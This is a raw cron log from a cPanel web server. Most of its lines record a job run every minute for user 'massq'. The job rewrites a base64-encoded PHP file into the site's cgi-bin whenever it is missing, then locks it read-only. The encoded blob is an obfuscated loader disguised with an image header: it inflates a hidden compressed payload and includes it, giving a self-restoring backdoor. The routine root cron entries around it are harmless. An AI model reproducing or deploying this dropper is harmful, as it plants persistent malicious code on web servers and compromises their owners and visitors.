ik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:57:01 server CROND[17926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:57:01 server CROND[17927]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 14:58:01 server CROND[18004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:59:01 server CROND[18066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:00:01 server CROND[18129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:00:01 server CROND[18130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:00:01 server CROND[18131]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 15:00:01 server CROND[18132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:01:01 server CROND[18324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:01:01 server CROND[18325]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 15:01:01 server run-parts(/etc/cron.hourly)[18325]: starting 0anacron
Apr  9 15:01:01 server run-parts(/etc/cron.hourly)[18338]: finished 0anacron
Apr  9 15:02:01 server CROND[18501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:03:01 server CROND[18579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:04:01 server CROND[18671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:05:01 server CROND[18744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:05:01 server CROND[18746]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 15:05:01 server CROND[18743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:05:01 server CROND[18745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:06:01 server CROND[18866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:07:01 server CROND[19026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:08:01 server CROND[19095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:09:01 server CROND[19164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:09:01 server CROND[19165]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 15:10:01 server CROND[19236]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 15:10:01 server CROND[19238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
